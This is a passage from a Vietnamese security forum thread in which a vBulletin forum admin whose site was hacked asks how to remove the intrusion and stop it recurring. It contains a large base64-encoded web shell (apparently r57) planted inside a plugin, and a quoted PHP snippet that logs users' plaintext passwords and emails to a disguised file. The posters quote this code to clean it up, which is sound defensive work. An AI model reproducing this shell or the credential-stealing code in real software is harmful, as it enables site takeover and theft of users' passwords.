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')));
exit;
}]]></phpcode>
</plugin>
</plugins>




sau đó vào plugin thấy có cái này: init_startup
em nghĩ đây chính là shell.


làm thế nào để gỡ nó hoàn toàn và chống shell tốt hơn?'>
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 31/07/2010 07:51:41 (+0700) | #10 | 216975
[Avatar]
mrclown1320
Member

[Minus]    0    [Plus]
Joined: 01/04/2010 04:22:02
Messages: 9
Offline
[Profile] [PM]
@talama, ừ quên nhỉ, pass là md5, hì , sorry,
@vonamson: r57 được encode base64 đấy, del đi bạn hiền, kis kas ko phát hiện ra được vì đã đc encode,
nhớ kiểm tra code của talama nữa
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 31/07/2010 10:41:43 (+0700) | #11 | 216988
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]

mrclown1320 wrote:
@talama, ừ quên nhỉ, pass là md5, hì , sorry,
@vonamson: r57 được encode base64 đấy, del đi bạn hiền, kis kas ko phát hiện ra được vì đã đc encode,
nhớ kiểm tra code của talama nữa
 

ý bạn là del như thế nào ạ?
nó add vào plugin rồi, h del plugin và file đìa?
liệu sau khi chạy shell, nó có add code shell vào file php khác không?
Có cách nào hạn chế bị up shell trở lại tối đa không?
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 31/07/2010 12:07:03 (+0700) | #12 | 216994
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]
Sau những tháng ngày mày mò, cuối cùng em đã hiểu cách nó up shell lên host.
em có 1 site nữa cho nó (hacker) phát triển, nó nắm ACP với full premission.
nó up shell qua plugin.
từ đó nó qua được site em. <= em chưa hiểu chổ này, ai chỉ em với.
(chắc nó khai thác file config vì 2 site em chung 1 user database????)
trong data site em quản lý, sớt từ khoá base64 thấy có 2 table dính đó là plugin và datastore.
còn site nó quản lý chỉ thấy base64 trong table plugin.

Bây giờ em đề xuất phương án xoá bỏ hoàn toàn shell thế này, mong mọi người chỉ giáo:
b1: delete hết các table có shell.
b2: xoá plugin.
b3: code site nó thì em sẽ xoá hoặc down về quét bằng KIS, rùi up lại.
( k bít có hiệu quả k. em k có KIS bản quyền)
b4: site em, down code về quét bằng KIS nếu phát hiện shell thì del đi.
( nhưng nếu nó chèn code shell trong file PHP của soure VBB liệu KIS có tìm ra không?)
site em bị fakelogin, liệu xử lý bằng cách nào đây?

Mong mọi người cho ý kiến để xoá hoàn toàn shell khỏi host.
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 31/07/2010 13:20:02 (+0700) | #13 | 217003
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
bạn bị Local Attack

Thứ nhất file Config.php của bạn có lưu chứa user và mật khẩu MySQL acc . kẻ tấn công truy cập file này và có User và Mật Khẩu MySQL thì nghiễm nhiên truy vấn được dữ liệu trong cơ sở dữ liệu.

Tại sao truy cập dc config.php ? vì bạn CHMOD nó quá lòng 0677 hoặc 0777 khiến User tại một account khác của Share Host có thể đọc được dữ liệu của bạn và ghi chép lên đó. Đáng nhẽ về mặt an toàn bạn phải cấm Everyone đọc ghi file config.

Bạn cũng không thực hiện mã hóa nội dung file config.php

Chuyên các diễn đàn bị hack bởi sai sót trên đã diễn ra gần 10 năm nay kể từ khi các diễn đang PHP thịnh hành và nhiều Administrator không kĩ tính dẫn đến hậu quả.

Tốt nhất bạn ngưng dùng Hosting hiện tại, giữ lại Database, dùng lệnh SQL truy tìm và xóa tất cả các Shell rồi , cài mới một phiên bản VBB ( không nên dùng lại các bản đã nulled không rõ nguồn gốc )

chúc may mắn
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 31/07/2010 14:46:53 (+0700) | #14 | 217019
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]
bọn em kinh phí cũng hạn hẹp nên nếu ngưng host thì k có cái dùng. sinh viên mà.
các lệnh tìm shell trong data là j vậy anh? anh hướng dẫn cụ thể các lệnh được không?
em lấy null của VietVBB.
Anh chỉ hộ scan shell trong code với!
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 31/07/2010 15:30:27 (+0700) | #15 | 217025
jin9x
Member

[Minus]    0    [Plus]
Joined: 18/05/2009 21:32:11
Messages: 28
Location: đâu đó
Offline
[Profile] [PM] [Yahoo!]
các doạn code bạn nên bỏ trong thẻ code ,đọc bài mà bực cả mình.
đầu tiên xoá cái file crons.php kia đi ,đó là đoạn script giúp login không cần password. như nhiều người gọi là fakelogin thì phải.
tiếp theo xoá đoạn lưu password
Code:
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
// The log will be recorded in this file
$lg_file = "./includes/class_xhtml.php";
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"smilie;

while($row = @mysql_fetch_array($sql_query))
{

if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+"smilie;
@fwrite($fp1, $lg_username . '|' . $lg_password."|" . $row["email"] . "\n"smilie;
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w"smilie;
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}

trong file login.php
hoặc tìm down lại source cùng phiên bản up lại 2 file global.php và login.php.
xoá luôn cái plugin kia.
@nếu bạn không ngại cho mình hỏi site của bạn là gì ?
tiền là giấy ,thấy là lấy ...
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 31/07/2010 17:52:42 (+0700) | #16 | 217032
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]
hì.
xin lỗi. mình sẽ chú ý hơn.
mình đã up đè file login
h còn file global.php mình k bít nó có dính code shell k?
vì file này có chỉnh sửa để cài mod nên ko thay thế dc. nhờ mọi người kiểm tra nhé.
http://beevn.com/upfile/download.php?file=f6937ae03bcd7591729eae0964d54223
mình đã cmod lại forder là 701 và file là 604.
ai có y kiến j chống hack chỉ với.
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 31/07/2010 20:38:10 (+0700) | #17 | 217045
[Avatar]
talama3000
Member

[Minus]    0    [Plus]
Joined: 07/05/2008 23:31:08
Messages: 29
Offline
[Profile] [PM]
thứ nhất trang của bạn đã bị fakelogin thứ 2 đã bị chèn shell
giờ bạn tạm thời dừng hoạt động fourum lại, del source đi rồi kiếm một bản mới trong các forum như là hoiquantinhoc, vbb upload lên cài lại
thứ 2 là download database về cài lên localhost vào trong plugin tìm và chạy những cái trong đó để tìm shell
cái thứ 3 có lẽ là phải vào phpmysqldump.. tìm và xem hộ số cái khả nghi smilie

@vonamson: lần sau post bài bạn cho vào thẻ [quote ] hoặc [code] nhé không chứ paste hết lên thế này khó nhìn mà nó lại còn dài ra nữa smilie
sau khi bạn kiểm tra lại thấy an tâm mọi thứ mà upload lên vẫn bị dính thì tớ nghĩ bạn nên đổi sang server khác không nên dùng server cũ đó nữa smilie, do server một phần và chắc cũng do bạn một phần là chưa chmod cẩn thận
Blog == http://talama.vn
[Up] [Print Copy]
  [Question]   4rum VBB. hacker vào được tất cả các nick. 31/07/2010 21:48:36 (+0700) | #18 | 217059
[Avatar]
vonamson
Member

[Minus]    0    [Plus]
Joined: 15/12/2009 01:15:56
Messages: 10
Offline
[Profile] [PM]
Tạm thời em đã giải quyết như trên.

Scan shell và xoá được 1 số file Fakelogin.
nhưng lại bị thêm 1 phát nữa nhìn choáng quá.
hôm kia data chỉ là 145Mb. hn nay nhìn là 854 MB.
Có phải là bị Flood hay dDos k?
em hoảng quá.
Mọi người chỉ bảo giúp em với.
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|